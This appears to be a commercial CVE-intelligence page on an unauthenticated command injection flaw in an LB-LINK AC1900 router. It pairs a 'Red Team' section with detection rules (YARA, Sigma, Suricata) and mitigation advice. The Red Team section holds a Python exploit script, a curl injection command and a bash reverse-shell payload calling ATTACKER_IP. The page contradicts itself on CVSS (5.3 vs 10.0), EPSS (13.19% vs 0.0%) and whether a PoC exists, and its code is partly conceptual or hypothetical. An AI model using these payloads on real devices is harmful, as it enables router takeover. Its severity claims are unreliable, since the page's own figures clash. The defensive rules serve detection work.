☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1610

CVE-2025-1610 OS Command Injection in Lb-link
📅 PUBLISHED: 2025-02-24 01:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 13.19%
👁️
13.19% probability
329.7× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1610 is a critical unauthenticated OS command injection vulnerability in the LB-LINK AC1900 Router firmware version 1.0.2. The flaw resides in the /goform/set_blacklist endpoint, where the mac and enable parameters are passed unsanitized to the websGetVar function, allowing remote attackers to execute arbitrary operating system commands. The vulnerability has been publicly disclosed with a working proof-of-concept (PoC), and the vendor has not responded to disclosure attempts, leaving the device unpatched. Given the router's exposure to the internet via Shodan, this poses a significant risk for remote compromise, including full device takeover, network pivoting, and data exfiltration.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • EPSS Score: 0.0% (low exploitation probability at time of analysis, but PoC is public)

The vulnerability is trivial to exploit, requiring no authentication, and provides full command execution as root. The public availability of the exploit increases the threat level to Critical.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the web management interface of the LB-LINK AC1900 router. The endpoint /goform/set_blacklist is used to manage MAC address blacklisting. The websGetVar function retrieves the mac and enable parameters from the HTTP POST request and passes them directly into a system command without sanitization or escaping.

Vulnerable Code Path (conceptual):

char cmd[512];
snprintf(cmd, sizeof(cmd), "iptables -A INPUT -m mac --mac-source %s -j %s", websGetVar("mac"), websGetVar("enable"));
system(cmd);

An attacker can inject command separators (e.g., ;, |, &&) into the mac or enable parameters to execute arbitrary commands. For example:

mac=00:11:22:33:44:55;reboot
enable=DROP

This would execute iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55;reboot -j DROP, causing the router to reboot.

The websGetVar function does not perform any input validation, making the injection straightforward. The attack is remote and unauthenticated, as the /goform/set_blacklist endpoint does not require a session cookie.

Vulnerable vs. Patched Code

Vulnerable Code (LB-LINK AC1900 1.0.2):

void handle_set_blacklist() {
    char *mac = websGetVar("mac", "");
    char *enable = websGetVar("enable", "");
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "iptables -A INPUT -m mac --mac-source %s -j %s", mac, enable);
    system(cmd);
}

Patched Code (Hypothetical):

void handle_set_blacklist() {
    char *mac = websGetVar("mac", "");
    char *enable = websGetVar("enable", "");
    // Validate MAC address format
    if (!is_valid_mac(mac)) {
        websError(400, "Invalid MAC address");
        return;
    }
    // Validate enable parameter
    if (strcmp(enable, "DROP") != 0 && strcmp(enable, "ACCEPT") != 0) {
        websError(400, "Invalid enable value");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"iptables", "-A", "INPUT", "-m", "mac", "--mac-source", mac, "-j", enable, NULL};
    execve("/sbin/iptables", args, NULL);
}

The patched version validates the MAC address format and restricts the enable parameter to only DROP or ACCEPT. It also uses execve instead of system to avoid shell interpretation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target: LB-LINK AC1900 Router with firmware 1.0.2
  • Network access to the router's web interface (typically port 80 or 443)
  • Python3 with requests library

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
payload = "00:11:22:33:44:55;id"
enable = "DROP"

url = f"{target}/goform/set_blacklist"
data = {"mac": payload, "enable": enable}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Manual Exploitation (curl):

curl -X POST http://192.168.1.1/goform/set_blacklist \
  -d "mac=00:11:22:33:44:55;id&enable=DROP"

Reverse Shell Payload:

mac=00:11:22:33:44:55;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
enable=DROP

Blue Team

Detection:

  • Monitor HTTP POST requests to /goform/set_blacklist with suspicious mac or enable parameters containing shell metacharacters (;, |, &, $, `).
  • Look for outbound connections from the router to unusual IPs on high ports (e.g., 4444, 1337).
  • Check for unexpected processes spawned by the web server (e.g., bash, sh, nc).

Honeypot Setup:

  • Deploy a low-interaction honeypot mimicking the LB-LINK AC1900 web interface.
  • Log all POST requests to /goform/set_blacklist and alert on any command injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /goform/set_blacklist with mac or enable parameters containing shell metacharacters.
  • Outbound connections from the router to external IPs on ports 4444, 1337, 8080, or 53 (DNS tunneling).
  • Unusual DNS queries from the router (e.g., to domains controlled by attackers).

Host IOCs:

  • Unexpected processes: bash, sh, nc, python, perl running as root.
  • Modified iptables rules (e.g., new INPUT/OUTPUT chains).
  • New cron jobs or startup scripts in /etc/init.d/ or /etc/crontab.
  • Files in /tmp/ with suspicious names (e.g., .exploit, shell.sh).

File IOCs:

  • /tmp/.exploit – common name for dropped exploit scripts.
  • /var/run/ – unexpected PID files for reverse shells.

Detection Engineering

YARA Rule

rule CVE_2025_1610_LBLINK_AC1900_OS_CMD_INJECTION {
    meta:
        description = "Detects OS command injection attempts against LB-LINK AC1900 router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1610"
        severity = "critical"
    strings:
        $cmd_inject = /(mac|enable)=[^&]*[;&|`$]/
        $endpoint = "/goform/set_blacklist"
    condition:
        $endpoint and $cmd_inject
}

Sigma Rule

title: CVE-2025-1610 LB-LINK AC1900 OS Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/set_blacklist with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/set_blacklist'
        cs-uri-query|contains: 
            - 'mac=*;*'
            - 'mac=*|*'
            - 'mac=*&*'
            - 'enable=*;*'
            - 'enable=*|*'
            - 'enable=*&*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in MAC addresses (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1610 LB-LINK AC1900 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/goform/set_blacklist";
    http_uri;
    pcre:"/(mac|enable)=[^&]*[;&|`$]/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable remote management on the router if not required.
  2. Restrict access to the web interface to trusted IPs only (e.g., via firewall rules).
  3. Monitor logs for exploitation attempts using the provided Sigma/Suricata rules.
  4. Isolate the device on a separate VLAN with minimal network access.

Long-Term Fix:

  • Since the vendor has not responded, the only permanent fix is to replace the device with a supported, patched router.
  • If replacement is not possible, consider flashing open-source firmware (e.g., OpenWrt) if available for the hardware.

Workaround:

  • Implement a reverse proxy (e.g., Nginx) in front of the router that filters out malicious payloads:
location /goform/set_blacklist {
    if ($args ~* "(mac|enable)=[^&]*[;&|`$]") {
        return 403;
    }
    proxy_pass http://192.168.1.1;
}

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1610/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.